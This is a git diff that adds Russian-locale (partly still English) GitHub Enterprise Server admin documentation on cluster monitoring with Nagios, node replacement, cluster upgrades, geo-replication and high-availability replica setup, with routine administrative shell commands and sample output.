используйте следующую команду: + ```shell + nagiosuser@nagios:~$ ssh-keygen -t rsa -b 4096 + ``` + + {% endnote %} +2. Скопируйте закрытый ключ (`id_ed25519`) в домашнюю папку `nagios` и задайте соответствующие права владения. + ```shell + nagiosuser@nagios:~$ sudo cp .ssh/id_ed25519 /var/lib/nagios/.ssh/ + nagiosuser@nagios:~$ sudo chown nagios:nagios /var/lib/nagios/.ssh/id_ed25519 + ``` + +3. Чтобы авторизовать открытый ключ для выполнения *только* команды `ghe-cluster-status -n`, используйте префикс `command=` в файле `/data/user/common/authorized_keys`. В административной оболочке на любом узле измените этот файл, добавив открытый ключ, созданный на шаге 1. Пример: `command="/usr/local/bin/ghe-cluster-status -n" ssh-ed25519 AAAA....` + +4. Проверьте и скопируйте конфигурацию на каждый узел в кластере, выполнив команду `ghe-cluster-config-apply` на узле, где был изменен файл `/data/user/common/authorized_keys`. + + ```shell + admin@ghe-data-node-0:~$ ghe-cluster-config-apply + > Validating configuration + > ... + > Finished cluster configuration + ``` + +5. Чтобы проверить, может ли подключаемый модуль Nagios успешно выполнить команду, запустите ее в интерактивном режиме с узла Nagios. + ```shell + nagiosuser@nagios:~$ /usr/lib/nagios/plugins/check_by_ssh -l admin -p 122 -H HOSTNAME -C "ghe-cluster-status -n" -t 30 + > OK - No errors detected + ``` + +6. Создайте определение команды в конфигурации Nagios. + ###### Пример определения + + ``` + define command { + command_name check_ssh_ghe_cluster + command_line $USER1$/check_by_ssh -H $HOSTADDRESS$ -C "ghe-cluster-status -n" -l admin -p 122 -t 30 + } + ``` +7. Добавьте эту команду в определение службы для узла в кластере {% data variables.product.prodname_ghe_server %}. + + ###### Пример определения + + ``` + define host{ + use generic-host + host_name ghe-data-node-0 + alias ghe-data-node-0 + address 10.11.17.180 + } + + define service{ + use generic-service + host_name ghe-data-node-0 + service_description GitHub Cluster Status + check_command check_ssh_ghe_cluster + } + ``` + +После добавления определения в Nagios проверка службы выполняется в соответствии с конфигурацией. Вы должны увидеть только что настроенную службу в веб-интерфейсе Nagios. + +![Пример Nagios](/assets/images/enterprise/cluster/nagios-example.png) diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/replacing-a-cluster-node.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/replacing-a-cluster-node.md new file mode 100644 index 000000000000..e3b860ac7ab1 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/replacing-a-cluster-node.md @@ -0,0 +1,32 @@ +--- +title: Замена узла кластера +intro: 'Чтобы заменить узел {% data variables.product.prodname_ghe_server %}, необходимо пометить затронутые узлы, переведенные в автономный режим, в файле конфигурации кластера (`cluster.conf`) и добавить узлы для замены. Это может потребоваться, если узел должен был завершиться ошибкой, или добавить узел с дополнительными ресурсами, чтобы повысить производительность.' +redirect_from: + - /enterprise/admin/clustering/replacing-a-cluster-node + - /enterprise/admin/enterprise-management/replacing-a-cluster-node + - /admin/enterprise-management/replacing-a-cluster-node +versions: + ghes: '*' +type: how_to +topics: + - Clustering + - Enterprise + - Infrastructure +ms.openlocfilehash: 4b4a34424803179d27aa245ad6ccb416ff926c59 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145116779' +--- +{% warning %} + +**Предупреждение.** Чтобы избежать конфликтов, узел замены должен использовать имя узла, которое ранее не использовалось в кластере. + +{% endwarning %} + +## Замена функционального узла +{% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-modify-cluster-conf %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-initialize-new-node %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-config-node %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-need-three-nodes %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-mark-offline %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-validate-config %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-replacement-name %} + +## Замена узла в экстренной ситуации +{% data reusables.enterprise_clustering.replacing-a-cluster-node-provision %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-admin-configure-ip %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-mark-offline %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-validate-config %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-modify-cluster-conf %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-replacement-name %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-initialize-new-node %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-config-node %} {% data reusables.enterprise_clustering.replacing-a-cluster-node-need-three-nodes %} diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/upgrading-a-cluster.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/upgrading-a-cluster.md new file mode 100644 index 000000000000..557aa8988d77 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/upgrading-a-cluster.md @@ -0,0 +1,85 @@ +--- +title: Upgrading a cluster +intro: 'Use the administrative shell (SSH) to upgrade a {% data variables.product.prodname_ghe_server %} cluster to the latest release.' +redirect_from: + - /enterprise/admin/clustering/upgrading-a-cluster + - /enterprise/admin/enterprise-management/upgrading-a-cluster + - /admin/enterprise-management/upgrading-a-cluster +versions: + ghes: '*' +type: how_to +topics: + - Clustering + - Enterprise + - Upgrades +--- +## Upgrading with a hotpatch +{% data reusables.enterprise_installation.hotpatching-explanation %} The hotpatch installation script installs the hotpatch on every node in the cluster and restarts the services in their proper sequence to avoid downtime. + +1. Back up your data with [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme). +2. From the administrative shell of any node, use the `ghe-cluster-hotpatch` command to install the latest hotpatch. You can provide a URL for a hotpatch, or manually download the hotpatch and specify a local filename. + ```shell + $ ghe-cluster-hotpatch https://HOTPATCH-URL/FILENAME.hpkg + ``` + +## Upgrading with an upgrade package +Use an upgrade package to upgrade a {% data variables.product.prodname_ghe_server %} cluster to the latest feature release. For example, you can upgrade from `2.11` to `2.13`. + +### Preparing to upgrade + +1. Review [Cluster network configuration](/enterprise/admin/guides/clustering/cluster-network-configuration) for the version you are upgrading to, and update your configuration as needed. +2. Back up your data with [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme). +3. Schedule a maintenance window for end users of your {% data variables.product.prodname_ghe_server %} cluster, as it will be unavailable for normal use during the upgrade. Maintenance mode blocks user access and prevents data changes while the cluster upgrade is in progress. +4. On the [{% data variables.product.prodname_ghe_server %} Download Page](https://enterprise.github.com/download), copy the URL for the upgrade *.pkg* file to the clipboard. +5. From the administrative shell of any node, use the `ghe-cluster-each` command combined with `curl` to download the release package to each node in a single step. Use the URL you copied in the previous step as an argument. + ```shell + $ ghe-cluster-each -- "cd /home/admin && curl -L -O https://PACKAGE-URL.pkg" + > ghe-app-node-1: % Total % Received % Xferd Average Speed Time Time Time Current + > ghe-app-node-1: Dload Upload Total Spent Left Speed + > 100 496M 100 496M 0 0 24.2M 0 0:00:20 0:00:20 --:--:-- 27.4M + > ghe-data-node-2: % Total % Received % Xferd Average Speed Time Time Time Current + > ghe-data-node-2: Dload Upload Total Spent Left Speed + > 100 496M 100 496M 0 0 21.3M 0 0:00:23 0:00:23 --:--:-- 25.8M + > ghe-data-node-1: % Total % Received % Xferd Average Speed Time Time Time Current + > ghe-data-node-1: Dload Upload Total Spent Left Speed + > 100 496M 100 496M 0 0 19.7M 0 0:00:25 0:00:25 --:--:-- 25.6M + > ghe-app-node-2: % Total % Received % Xferd Average Speed Time Time Time Current + > ghe-app-node-2: Dload Upload Total Spent Left Speed + > 100 496M 100 496M 0 0 19.8M 0 0:00:25 0:00:25 --:--:-- 17.6M + > ghe-data-node-3: % Total % Received % Xferd Average Speed Time Time Time Current + > ghe-data-node-3: Dload Upload Total Spent Left Speed + > 100 496M 100 496M 0 0 19.7M 0 0:00:25 0:00:25 --:--:-- 25.5M + ``` +6. Identify the primary MySQL node, which is defined as `mysql-master = ` in `cluster.conf`. This node will be upgraded last. + +### Upgrading the cluster nodes + +1. Enable maintenance mode according to your scheduled window by connecting to the administrative shell of any cluster node and running `ghe-cluster-maintenance -s`. +2. **With the exception of the primary MySQL node**, connect to the administrative shell of each of the {% data variables.product.prodname_ghe_server %} nodes. +Run the `ghe-upgrade` command, providing the package file name you downloaded in Step 4 of [Preparing to upgrade](#preparing-to-upgrade): + ```shell + $ ghe-upgrade PACKAGE-FILENAME.pkg + > *** verifying upgrade package signature... + > 497MB 0:00:04 [ 117MB/s] [==========================================>] 100% + > gpg: Signature made Fri 19 Feb 2016 02:33:50 PM UTC using RSA key ID 0D65D57A + > gpg: checking the trustdb + > gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model + > gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u + > gpg: Good signature from "GitHub Enterprise (Upgrade Package Key) > " + ``` +3. The upgrade process will reboot the node once it completes. Verify that you can `ping` each node after it reboots. +4. Connect to the administrative shell of the primary MySQL node. Run the `ghe-upgrade` command, providing the package file name you downloaded in Step 4 of [Preparing to upgrade](#preparing-to-upgrade): + ```shell + $ ghe-upgrade PACKAGE-FILENAME.pkg + > *** verifying upgrade package signature... + > 497MB 0:00:04 [ 117MB/s] [==========================================>] 100% + > gpg: Signature made Fri 19 Feb 2016 02:33:50 PM UTC using RSA key ID 0D65D57A + > gpg: checking the trustdb + > gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model + > gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u + > gpg: Good signature from "GitHub Enterprise (Upgrade Package Key) > " + ``` +5. The upgrade process will reboot the primary MySQL node once it completes. Verify that you can `ping` each node after it reboots.{% ifversion ghes %} +6. Connect to the administrative shell of the primary MySQL node and run the `ghe-cluster-config-apply` command. +7. When `ghe-cluster-config-apply` is complete, check that the services are in a healthy state by running `ghe-cluster-status`.{% endif %} +8. Exit maintenance mode from the administrative shell of any node by running `ghe-cluster-maintenance -u`. diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md new file mode 100644 index 000000000000..051c5b2d9e41 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md @@ -0,0 +1,42 @@ +--- +title: Сведения о георепликации +intro: 'Георепликация на {% data variables.product.prodname_ghe_server %} использует несколько активных реплик для выполнения запросов из географически распределенных центров обработки данных.' +redirect_from: + - /enterprise/admin/installation/about-geo-replication + - /enterprise/admin/enterprise-management/about-geo-replication + - /admin/enterprise-management/about-geo-replication +versions: + ghes: '*' +type: overview +topics: + - Enterprise + - High availability +ms.openlocfilehash: d24b222ee411d6e8d06366dd78da6b0001280c4d +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109004' +--- +Несколько активных реплик могут обеспечить сокращенное расстояние до ближайшей реплики. Например, организация с офисами в Сан-Франциско, Нью-Йорке и Лондоне может запустить основное устройство в центре обработки данных недалеко от Нью-Йорка и две реплики в центрах обработки данных недалеко от Сан-Франциско и Лондона. С помощью DNS с поддержкой геолокации пользователей можно направлять на ближайший сервер, доступный и быстрее получать доступ к данным репозитория. Назначение устройства недалеко от Нью-Йорка в качестве основного устройства помогает снизить задержку между узлами, по сравнению с устройством, расположенным неподалеку от Сан-Франциско, в качестве основного, которое имеет более высокую задержку при передаче данных до Лондона. + +Запросы активных прокси-серверов реплики, которые оно не может обрабатывать самостоятельно в основном экземпляре. Реплики работают как точка присутствия, которая завершает все SSL-подключения. Трафик между узлами отправляется через зашифрованное VPN-соединение, аналогично конфигурации высокого уровня доступности с двумя узлами без георепликации. + +Запросы Git и конкретные запросы файлового сервера, такие как LFS и отправка файлов, можно обслуживать непосредственно из реплики без загрузки данных с основного сервера. Веб-запросы всегда маршрутизируются в основное устройство, но если реплика ближе к пользователю, запросы выполняются быстрее из-за завершения SSL в ближайшее время. + +Для безупречной работы георепликации требуется Geo DNS, например [служба Amazon Route 53](http://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html#routing-policy-geo). Имя узла для экземпляра должно разрешаться в реплику, расположенную ближе всего к расположению пользователя. + +## Ограничения + +Для записи запросов к реплике требуется отправка данных на основное устройство и все реплики. Это означает, что производительность всех операций записи ограничена самой медленной репликой, хотя новые геореплики могут заполнять большую часть своих данных из существующих геореплик, расположенных совместно, а не из основного устройства. Чтобы уменьшить задержку и пропускную способность, вызванную распределенными командами и большими фермами CI, не влияя на пропускную способность записи, можно настроить кэширование репозитория. Дополнительные сведения см. в разделе [Сведения о кэшировании репозитория](/admin/enterprise-management/caching-repositories/about-repository-caching). + +Георепликация не будет добавлять емкость в экземпляр {% data variables.product.prodname_ghe_server %} или устранять проблемы с производительностью, связанные с нехваткой ресурсов ЦП или памяти. Если основное устройство находится в автономном режиме, активные реплики не смогут обслуживать запросы на чтение или запись. + +{% data reusables.enterprise_installation.replica-limit %} + +## Мониторинг конфигурации георепликации + +{% data reusables.enterprise_installation.monitoring-replicas %} + +## Дополнительные материалы +- [Создание реплик георепликации](/enterprise/admin/guides/installation/creating-a-high-availability-replica/#creating-geo-replication-replicas) diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md new file mode 100644 index 000000000000..417801fa8935 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md @@ -0,0 +1,196 @@ +--- +title: Сведения о настройке высокого уровня доступности +intro: 'В конфигурации высокого уровня доступности полностью избыточное дополнительное устройство {% data variables.product.prodname_ghe_server %} синхронизируется с основным устройством посредством репликации всех основных хранилищ данных.' +redirect_from: + - /enterprise/admin/installation/about-high-availability-configuration + - /enterprise/admin/enterprise-management/about-high-availability-configuration + - /admin/enterprise-management/about-high-availability-configuration +versions: + ghes: '*' +type: overview +topics: + - Enterprise + - High availability + - Infrastructure +shortTitle: About HA configuration +ms.openlocfilehash: b54ca60c6cf1d79b9435ca8deedebec09ed39396 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109003' +--- +При конфигурации высокого уровня доступности происходит автоматическая настройка односторонней асинхронной репликации всех хранилищ данных (репозиториев Git, MySQL, Redis и Elasticsearch) с основного устройства на устройство реплики. Также реплицируется большинство параметров конфигурации {% data variables.product.prodname_ghe_server %}, включая пароль {% data variables.enterprise.management_console %}. Дополнительные сведения см. в статье "[Доступ к консоли управления](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)". + +{% data variables.product.prodname_ghe_server %} поддерживает конфигурацию "активный — пассивный", где устройство реплики выполняется в режиме ожидания со службами баз данных, работающими в режиме репликации, но службы приложений остановлены. + +После выполнения репликации {% data variables.enterprise.management_console %} больше недоступна на устройствах реплики. Если перейти к IP-адресу или имени узла реплики на порту 8443, появится сообщение "Сервер в режиме репликации", указывающее, что устройство в настоящее время настроено в качестве реплики. +{% data reusables.enterprise_installation.replica-limit %} + +## Целевые сценарии сбоев + +Используйте конфигурацию высокого уровня доступности для защиты от: + +{% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %} + +Конфигурация высокого уровня доступности не подходит для использования в следующих случаях: + + - **Горизонтальное масштабирование**. Хотя трафик можно распределять географически с помощью георепликации, производительность операций записи ограничена скоростью и доступностью основного устройства. Дополнительные сведения см. в статье "[Сведения о георепликации](/enterprise/admin/guides/installation/about-geo-replication/)". + - **Нагрузка CI/CD**. При наличии большого количества клиентов CI, географически удаленных от основного экземпляра, можно настроить кэш репозитория. Дополнительные сведения см. в разделе [Сведения о кэшировании репозитория](/admin/enterprise-management/caching-repositories/about-repository-caching). + - **Резервное копирование основного устройства**. Реплика высокого уровня доступности не заменяет резервные копии вне сайта в плане аварийного восстановления. Некоторые формы повреждения или потери данных могут быть реплицированы немедленно с основного устройства на реплику. Чтобы обеспечить безопасный откат к стабильному прошлому состоянию, необходимо выполнять регулярные операции резервного копирования с историческими моментальными снимками. + - **Обновления без простоя**. Чтобы предотвратить потерю данных и возникновение ситуаций с разделением вычислительных мощностей в контролируемых сценариях повышения уровня, переведите основное устройство в режим обслуживания и дождитесь завершения всех операций записи перед повышением уровня реплики. + +## Стратегии отработки отказа сетевого трафика + +Во время отработки отказа необходимо отдельно настроить и контролировать перенаправление сетевого трафика с основного устройства на реплику. + +### Отработка отказа DNS + +При отработке отказа DNS используйте короткие значения TTL в записях DNS, указывающие на основное устройство {% data variables.product.prodname_ghe_server %}. Рекомендуемое значение TTL — от 60 секунд до пяти минут. + +Во время отработки отказа необходимо перевести основное устройство в режим обслуживания и перенаправлять записи DNS на IP-адрес устройства реплики. Время, необходимое для перенаправления трафика с основного устройства, будет зависеть от TTL и времени, необходимого для обновления записей DNS. + +Если вы используете георепликацию, необходимо настроить геоизбыточную службу DNS для направления трафика в ближайшую реплику. Дополнительные сведения см. в статье "[Сведения о георепликации](/enterprise/admin/guides/installation/about-geo-replication/)". + +### Подсистема балансировки нагрузки + +{% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %} + +Во время отработки отказа необходимо перевести основное устройство в режим обслуживания. Подсистему балансировки нагрузки можно настроить для автоматического определения повышения уровня реплики до основного устройства, или может потребоваться изменить конфигурацию вручную. Прежде чем реплика начнет реагировать на трафик пользователя, необходимо вручную повысить ее уровень до основного устройства. Дополнительные сведения см. в статье "[Использование {% data variables.product.prodname_ghe_server %} с подсистемой балансировки нагрузки](/enterprise/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)". + +{% data reusables.enterprise_installation.monitoring-replicas %} + +## Служебные программы для управления репликацией + +Для управления репликацией на {% data variables.product.prodname_ghe_server %} используйте эти программы командной строки, подключившись к устройству реплики по протоколу SSH. + +### ghe-repl-setup + +Команда `ghe-repl-setup` переводит устройство {% data variables.product.prodname_ghe_server %} в режим ожидания реплики. + + - Зашифрованный VPN-туннель WireGuard настроен для обмена данными между двумя устройствами. + - Службы баз данных настроены для репликации и запущены. + - Службы приложений отключены. При попытках доступа к устройству реплики по протоколу HTTP, Git или другим поддерживаемым протоколам откроется страница, информирующая о том, что устройство находится в режиме реплики, или будет выведено сообщение об ошибке. + +```shell +admin@169-254-1-2:~$ ghe-repl-setup 169.254.1.1 +Verifying ssh connectivity with 169.254.1.1 ... +Connection check succeeded. +Configuring database replication against primary ... +Success: Replica mode is configured against 169.254.1.1. +To disable replica mode and undo these changes, run `ghe-repl-teardown'. +Run `ghe-repl-start' to start replicating against the newly configured primary. +``` + +### ghe-repl-start + +Команда `ghe-repl-start` включает активную репликацию всех хранилищ данных. + +```shell +admin@169-254-1-2:~$ ghe-repl-start +Starting MySQL replication ... +Starting Redis replication ... +Starting Elasticsearch replication ... +Starting Pages replication ... +Starting Git replication ... +Success: replication is running for all services. +Use `ghe-repl-status' to monitor replication health and progress. +``` + +### ghe-repl-status + +Команда `ghe-repl-status` возвращает состояние `OK`, `WARNING` или `CRITICAL` для каждого потока репликации хранилища данных. Если любой из каналов репликации находятся в состоянии `WARNING`, команда завершит работу с выводом кода `1`. Аналогично, если любой из каналов репликации находятся в состоянии `CRITICAL`, команда завершит работу с выводом кода `2`. + +```shell +admin@169-254-1-2:~$ ghe-repl-status +OK: mysql replication in sync +OK: redis replication is in sync +OK: elasticsearch cluster is in sync +OK: git data is in sync (10 repos, 2 wikis, 5 gists) +OK: pages data is in sync +``` + +Параметры `-v` и `-vv` предоставляют сведения о состоянии репликации каждого хранилища данных: + +```shell +$ ghe-repl-status -v +OK: mysql replication in sync + | IO running: Yes, SQL running: Yes, Delay: 0 + +OK: redis replication is in sync + | master_host:169.254.1.1 + | master_port:6379 + | master_link_status:up + | master_last_io_seconds_ago:3 + | master_sync_in_progress:0 + +OK: elasticsearch cluster is in sync + | { + | "cluster_name" : "github-enterprise", + | "status" : "green", + | "timed_out" : false, + | "number_of_nodes" : 2, + | "number_of_data_nodes" : 2, + | "active_primary_shards" : 12, + | "active_shards" : 24, + | "relocating_shards" : 0, + | "initializing_shards" : 0, + | "unassigned_shards" : 0 + | } + +OK: git data is in sync (366 repos, 31 wikis, 851 gists) + | TOTAL OK FAULT PENDING DELAY + | repositories 366 366 0 0 0.0 + | wikis 31 31 0 0 0.0 + | gists 851 851 0 0 0.0 + | total 1248 1248 0 0 0.0 + +OK: pages data is in sync + | Pages are in sync +``` + +### ghe-repl-start + +Команда `ghe-repl-stop` временно отключает репликацию для всех хранилищ данных и останавливает службы репликации. Чтобы возобновить репликацию, используйте команду [ghe-repl-start](#ghe-repl-start). + +```shell +admin@168-254-1-2:~$ ghe-repl-stop +Stopping Pages replication ... +Stopping Git replication ... +Stopping MySQL replication ... +Stopping Redis replication ... +Stopping Elasticsearch replication ... +Success: replication was stopped for all services. +``` + +### ghe-repl-promote + +Команда `ghe-repl-promote` отключает репликацию и преобразует устройство реплики в основное. Устройство настроено с теми же параметрами, что и исходное основное, и все службы включены. + +{% data reusables.enterprise_installation.promoting-a-replica %} + +```shell +admin@168-254-1-2:~$ ghe-repl-promote +Enabling maintenance mode on the primary to prevent writes ... +Stopping replication ... + | Stopping Pages replication ... + | Stopping Git replication ... + | Stopping MySQL replication ... + | Stopping Redis replication ... + | Stopping Elasticsearch replication ... + | Success: replication was stopped for all services. +Switching out of replica mode ... + | Success: Replication configuration has been removed. + | Run `ghe-repl-setup' to re-enable replica mode. +Applying configuration and starting services ... +Success: Replica has been promoted to primary and is now accepting requests. +``` + +### ghe-repl-teardown + +Команда `ghe-repl-teardown` полностью отключает режим репликации, удаляя конфигурацию реплики. + +## Дополнительные материалы + +- "[Создание реплики с высоким уровнем доступности](/enterprise/admin/guides/installation/creating-a-high-availability-replica)" +- "[Сетевые порты](/admin/configuration/configuring-network-settings/network-ports)" diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md new file mode 100644 index 000000000000..e70b4f1225ee --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md @@ -0,0 +1,104 @@ +--- +title: Creating a high availability replica +intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.' +redirect_from: + - /enterprise/admin/installation/creating-a-high-availability-replica + - /enterprise/admin/enterprise-management/creating-a-high-availability-replica + - /admin/enterprise-management/creating-a-high-availability-replica +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - High availability + - Infrastructure +shortTitle: Create HA replica +--- +{% data reusables.enterprise_installation.replica-limit %} + +## Creating a high availability replica + +1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance). +1. Ensure that the new appliance can communicate with all other appliances in this high availability environment over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)." +1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. +{% data reusables.enterprise_installation.replica-steps %} +1. Connect to the replica appliance's IP address using SSH. + ```shell + $ ssh -p 122 admin@REPLICA_IP + ``` +{% data reusables.enterprise_installation.generate-replication-key-pair %} +{% data reusables.enterprise_installation.add-ssh-key-to-primary %} +1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again. + ```shell + $ ghe-repl-setup PRIMARY_IP + ``` +{% data reusables.enterprise_installation.replication-command %} +{% data reusables.enterprise_installation.verify-replication-channel %} + +## Creating geo-replication replicas + +This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/admin/guides/installation/network-ports/#administrative-ports)." + +{% data reusables.enterprise_clustering.network-latency %} If latency is more than 70 milliseconds, we recommend cache replica nodes instead. For more information, see "[Configuring a repository cache](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache)." + +1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica. + ```shell + (replica1)$ ghe-repl-setup PRIMARY_IP + (replica1)$ ghe-repl-start + ``` +2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration. + ```shell + (replica2)$ ghe-repl-setup --add PRIMARY_IP + (replica2)$ ghe-repl-start + ``` +3. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter. + + On the primary: + ```shell + (primary)$ ghe-repl-node --datacenter [PRIMARY DC NAME] + ``` + On the first replica: + ```shell + (replica1)$ ghe-repl-node --datacenter [FIRST REPLICA DC NAME] + ``` + On the second replica: + ```shell + (replica2)$ ghe-repl-node --datacenter [SECOND REPLICA DC NAME] + ``` + {% tip %} + + **Tip:** You can set the `--datacenter` and `--active` options at the same time. + + {% endtip %} +4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag. + + On the first replica: + ```shell + (replica1)$ ghe-repl-node --active + ``` + On the second replica: + ```shell + (replica2)$ ghe-repl-node --active + ``` +5. To apply the configuration, use the `ghe-config-apply` command on the primary. + ```shell + (primary)$ ghe-config-apply + ``` + +## Configuring DNS for geo-replication + +Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`. + +For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines. + +``` +# HOSTNAME +# HOSTNAME + HOSTNAME +``` + +## Further reading + +- "[About high availability configuration](/enterprise/admin/guides/installation/about-high-availability-configuration)" +- "[Utilities for replication management](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" +- "[About geo-replication](/enterprise/admin/guides/installation/about-geo-replication/)" diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/index.md b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/index.md new file mode 100644 index 000000000000..08ee1941a03f --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/index.md @@ -0,0 +1,29 @@ +--- +title: Настройка высокого уровня доступности +redirect_from: + - /enterprise/admin/installation/configuring-github-enterprise-server-for-high-availability + - /enterprise/admin/guides/installation/high-availability-cluster-configuration + - /enterprise/admin/guides/installation/high-availability-configuration + - /enterprise/admin/guides/installation/configuring-github-enterprise-for-high-availability + - /enterprise/admin/enterprise-management/configuring-high-availability +intro: '{% data variables.product.prodname_ghe_server %} поддерживает режим высокой доступности, который призван минимизировать нарушения работы службы в случае сбоя оборудования или серьезного сбоя сети, затрагивающего основное устройство.' +versions: + ghes: '*' +topics: + - Enterprise +children: + - /about-high-availability-configuration + - /creating-a-high-availability-replica + - /initiating-a-failover-to-your-replica-appliance + - /recovering-a-high-availability-configuration + - /removing-a-high-availability-replica + - /about-geo-replication +shortTitle: Configure high availability +ms.openlocfilehash: 8df1e6b70d68fc09ffce4783e0c41ace51a089c7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120539' +--- + diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md new file mode 100644 index 000000000000..70ccee6c0038 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md @@ -0,0 +1,71 @@ +--- +title: Инициализация отработки отказа на устройство реплики +intro: 'Вы можете выполнить отработку отказа на устройство реплики {% data variables.product.prodname_ghe_server %}, если можно использовать командную строку для обслуживания и тестирования или если работа основного устройства завершается сбоем.' +redirect_from: + - /enterprise/admin/installation/initiating-a-failover-to-your-replica-appliance + - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-appliance + - /admin/enterprise-management/initiating-a-failover-to-your-replica-appliance +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - High availability + - Infrastructure +shortTitle: Initiate failover to appliance +ms.openlocfilehash: b27d925f5b9ecf35da9ba55633e312e8c9fb94e4 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU 